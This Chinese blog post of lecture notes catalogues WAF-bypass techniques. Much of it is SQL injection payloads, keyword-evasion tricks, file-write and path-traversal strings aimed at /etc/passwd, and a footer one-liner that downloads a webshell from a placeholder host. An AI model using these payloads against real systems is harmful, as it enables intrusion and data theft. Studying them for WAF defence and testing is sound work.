也是之前讲课写的,现在搬运过来

---

WAF所处的位置
* 云WAF
* 硬件WAF
* 软件WAF
* 代码级WAF
 
WAF的绕过
1 架构层
   1 对于云WAF,寻找真实ip
       1 在子域名的ip段中找
       2 信息泄漏
       3 穷举ip
   2 对于云WAF,利用同网段
    3 WAF可能会进行两次URL解码
       对输入进行两次url编码
    4 编码问题
mysql默认的字符集是latin,因此在php代码里面设置的字符集为 utf-8,这只是客户端的字符集,因此存在字符集装换的问题utf-8—>latin,若传进来的字符集不是完整的字符,则会导致不完整的字符自动会忽略的问题,比如username=admin%c2 , 由于%c2不是一个完整的utf-8字符 因此传到Mysql 里面 自动忽略了,导致查出的是admin用户的数据,可以利用这个特性绕过。
为了便利性 牺牲安全性。(select * from admin where user=“Admin” 可以执行, mysql为了 使用的便利性 会允许一些 ‘错误’,比如 select * from admin where user=“Àdmin” 依然可移执行
   
2 资源限制角度
   1 http请求body太大,WAF可能只检测前几k字节
3 协议层
   1 协议未覆盖绕过
       1 WAF没有实现对某种http协议的解析
       2 文件包含,绝对路径绕过,没有检测某种协议
   2 利用WAF与web容器对http协议解析不一致
       1 某个字段遇到换行,WAF和php接收到的可能不一样
       2 包含多个Content-Disposition 
            WAF可能会以最后一个filename为文件名
            WAF可能解析了第一个就认为结束了
       3 Content-Disposition中有多个filename
       4 Content-Disposition 中name="myfile" 后跟两个分号 WAF解析不到文件名
       5 同时上传多个文件,WAF可能只检测第一个
       6 利用不标准的语法 WAF可能无法解析 filename="abc.php  filename='abc.php’
        7 url后同一个变量传多个值 ?id=1&id=2
            1 apache tomcat会获得2
            2 IIS会获得1,2
        8 变换http请求中参数的位置
filename=”test.asp”位于Content-Type: application/octet-stream 下一行时
 
4 规则缺陷
    1 SQL注入
       绕过SQL注入规则主要利用WAF规则本身的问题、未考虑到SQL语法变形、及后端数据库SQL语句语法特性。不同的数据库虽然遵守SQL标准,但是通常会加入特有的语法。WAF的防御策略要兼顾各种数据库的特殊语法,容易遗漏,从而被利用绕过WAF
        1 注释符  
/**/   /*!*/   
            WAF可能考虑到/\*.*\*/很耗性能,会使用了/\*\w+\*/ 逐步测试绕过方法,先测试最基本的union/**/select
            然后在中间夹特殊字符 union/*aaaa%01bbs*/select  
            然后测试长度union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
反引号    `放在mysql末尾会起注释符的作用
#
 
--
 
-- -
 
--+ 
// 
/**/         多个
/*letmetest*/ 
;%00
/*  mysql版本小于5.1
/*!111or*/1=1-- -
 
         2 空白符
SQLite3 0A 0D 0C 09 20 
MySQL5 09 0A 0B 0C 0D A0 20 
PosgresSQL 0A 0D 0C 09 20 
Oracle 11g 00 0A 0D 0C 09 20 
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16 ,17,18,19,1A,1B,1C,1D,1E,1F,20
不用空白符的话,可以用括号,操作符,前缀,引号连接符号
'or+(1)sounds/**/like“1“--%a0-
        3 函数分隔符
           在调用函数名和括号之间插特殊字符  concat/**/(
        4 浮点数,科学计数法词法分析
           select * from users where id=8E0union select 1,2,3,4,5
           select * from users where id=8.0union select 1,2,3
           select * from users where id=\Nunion select 1,2,3,4,5
       5 用于报错注入的函数
           multipolygon()
           multilinestring()
       6 mysql特殊语法
           select{x table_name}from{x information_schema.tables};
       7 关键字过滤,使用等效关键字替换
关键字是没法混淆的,最多大小写 SeLecT
sel/**/ect 在mysql4.1版本后失效,一般考虑使用其他等效关键字,不过有些WAF会直接把/**/替换为空
< > 等价于 BETWEEN
= 等价于 like
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
(mysql支持&& || ,oracle不支持 && ||)
or and被过滤        || &&
union select被过滤 
/union\s+select/i
绕过:
'and(true)like(false)union(select(pass)from(users))# 
'union [all|distinct] select pass from users# 
'union%a0select pass from users# 
'union/*!select*/pass from users# 
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
 
union单个关键字被过滤的话,用盲注,注意子查询只能返回一个值
' and (select pass from users limit 1)='secret
limit被过滤
limit在注入中常用于限制子查询返回一个值
' and (select pass from users where id =1)='a 
' and (select pass from users group by id having id = 1)='a
group被过滤 group同样用于子查询限制返回个数
' and length((select pass from users having substr(pass,1,1)='a'))
having 被过滤
' and (select substr(group_concat(pass),1,1) from users)='a
gourp_concat 限制了个数为1024
group_concat(substr(pass,1,4)) 
group_concat(substr(pass,5,4)) ...
' and substr((select max(replace(pass,'lastpw','')) from users),1,1)='a
select from被过滤 /SELECT\s+[A-Za-z\.]+\s+FROM/i
select [all|distinct] pass from users 
select`table_name`from`information_schema` . `tables` 
select pass as alias from users 
select pass aliasalias from users 
select pass`alias alias`from users 
select+pass%a0from(users)
单个select被过滤
1 如果有文件权限
    ' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a
    '='' into outfile '/var/www/dump.txt
2 知道列名的情况 ,只能操作当前表
    1 获取列名
        1 开源软件 
        2 猜解 ' and data is not null#
        3 ' procedure analyse()#    用在limit后
    2 直接跟where条件
        Admin' and substr(pass,1,1) = 'a
    3 如果2中and被过滤了,
        1 利用自动类型转换
 '-0#
select data from users where name = ''-0 # int typecast 
select data from users where name = 0 # int typecast 
select data from users where 0 = 0 # true
'-1#
select data from users where 0 = -1 # false
        2 利用条件语句 ifnull(nullif()), case when or if()
'-if(name='Admin',1,0)#
函数名过滤
函数名本身是无法绕过的,顶多在和括号之间加空格 load_file/*foo*/()
       8 表达式前跟前缀 select  --+2=- -!!!(2+4);
        9 各种操作符
^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
 
XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
         10 字符串的不同形式
' or “a“ = 'a 
' or 'a' = n'a                 # unicode
' or 'a' = b'1100001              # binary
' or 'a' = _binary'1100001 
' or 'a' = x'61                # hexadecimal
 
        11 mysql表达式
常量 true, false, null, \N, current_timestamp, …
变量  @myvar:=1
系统变量 @@version  @@datadir      show variables;可以看到全部
函数 version(), pi(), pow(), char(), substring(), ...
         12 mysql类型转换
            1 隐式类型转换
' or 1 = true # true=1, false=0 
' or 1 # true 
' or version() = 5.1 # 5.1.36-community-log
' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1
 
select * from users where 'a'='b'='c' 
select * from users where ('a'='b')='c' 
select * from users where (false)='c' 
select * from users where (0)='c' 
select * from users where (0)=0 
select * from users where true 
select * from users
 
mysql> select 'a'='b'='c';
+-------------+
| 'a'='b'='c' |
+-------------+
|           1 |
+-------------+
   2 文件操作相关的漏洞一般和路径有关,文件包含,文件下载等漏洞
           1 相对路径 ,如果只检查连续的../     误报会很多,通常会检测连续的../ 可以组合使用 ./ // ../
           2 绝对路径   
               1 可以组合/./和 //  
               2 可能只拦截了常见文件/etc/passwd等
               3 如果WAF检测开始路径是linux标准目录名,可以用一个不存在的路径开头 /dasdfe/../etc/passwd   php如果没有先检查文件是否存在,可以直接包含
    3 命令执行
         

一些 bypass WAF 技巧的更多相关文章

  1. webshell 常见 Bypass waf 技巧总结

    在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷. 一篇好的文章 ...

  2. WAF攻防研究之四个层次Bypass WAF

    从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...

  3. Bypass WAF Cookbook

    PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...

  4. 【sql绕过】Bypass waf notepad of def

    文章是通过阅读<[独家连载]我的WafBypass之道 (SQL注入篇)>写的阅读笔记. Waf的类型 1.云waf云waf通常是CDN包含的waf,DNS在解析的时候要解析到cdn上面制 ...

  5. Bypass WAF

    一.绕过命令执行: 很多WAF会限制参数字符不能为可以执行的命令,诸如ls.nc等,如果直接使用这些字符会直接被WAF拦截,但是可以通过这种的方式绕过这一限制 1.? 符号:这个符号表示条件测试,比如 ...

  6. 77777 77777(2) WriteUp 绕waf技巧学习

    两个题的代码都是一样的 只是waf不一样 贴出代码 <?php function update_point($p,$point){ global $link; $q = sprintf(&quo ...

  7. SQL Injection bypass WAF

    tips: 利用的注射点: 支持Union 可报错 支持多行执行.可执行系统命令.可HTTP Request等额外有利条件 若非以上类型,则可能需要暴力猜解.猜解时,可能会遇到一些限制.攻击者要做的, ...

  8. 远程下载马bypass waf

    <?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...

  9. sql bypass waf fuzz python

    从freebuf copy过来的,先保存,有空再改 #encoding=utf-8 import requests url = "http://127.0.0.1/index.php?id= ...

随机推荐

  1. 版本控制之Git小结

    一.版本控制 1.1 什么是版本控制 版本控制是一种记录一个或若干个文件内容变化,以便将来查阅特定版本修订情况的系统.可以对任何类型的文件进行版本控制. 1.2 为什么需要版本控制 有了版本控制就可以 ...

  2. mobaxterm和CRT的文件上传

    版权声明:本文为博主原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/submarineas/article/de ...

  3. Mac 10.14在新窗口中打开文件夹

    Mac 10.14 Open folders in new window (high Sierra) System Preferences > Dock. Change "Prefer ...

  4. Creator3D 守护你的球球—UV动画与天空盒

    1 游戏预览 在线体验地址:http://example.creator-star.cn/follo-ball/ 2 场景物体 场景物体 新建场景后,引擎会为我们创建默认的摄像机和灯光,这个我们就不介 ...

  5. python 中的一点新知识

    逻辑行与物理行 所谓物理行(Physical Line)是你在编写程序时 你所看到 的内容.所谓逻辑行(Logical Line)是 Python 所看到 的单个语句.Python 会假定每一 物理行 ...

  6. python常用算法(5)——树,二叉树与AVL树

    1,树 树是一种非常重要的非线性数据结构,直观的看,它是数据元素(在树中称为节点)按分支关系组织起来的结构,很像自然界中树那样.树结构在客观世界中广泛存在,如人类社会的族谱和各种社会组织机构都可用树形 ...

  7. 实用---java保留小数点后位数以及输出反转数字

    //方法一double b = 8.0/3.0; //与C语言不同,此处8.0和8有所区分 String format = String.format("%.2f,b"); //表 ...

  8. 实用---eclipse中的代码提示功能

    Eclipse 的代码提示功能,具体配置 1. 打开Eclipse ,然后“window”→“Preferences” 2. 选择“java”,展开,“Editor”,选择“Content Assis ...

  9. Centos7安装moloch步骤

      Centos7安装moloch步骤 Moloch 是一个由AOL开源的,能够大规模的捕获IPv4数据包(PCAP).索引和数据库系统,由以下三个部分组成: capture :绑定interface ...

  10. nginx::certbot制作免费证书

    环境 Ubuntu8.04apt-get update apt-get install software-properties-common add-apt-repository ppa:certbo ...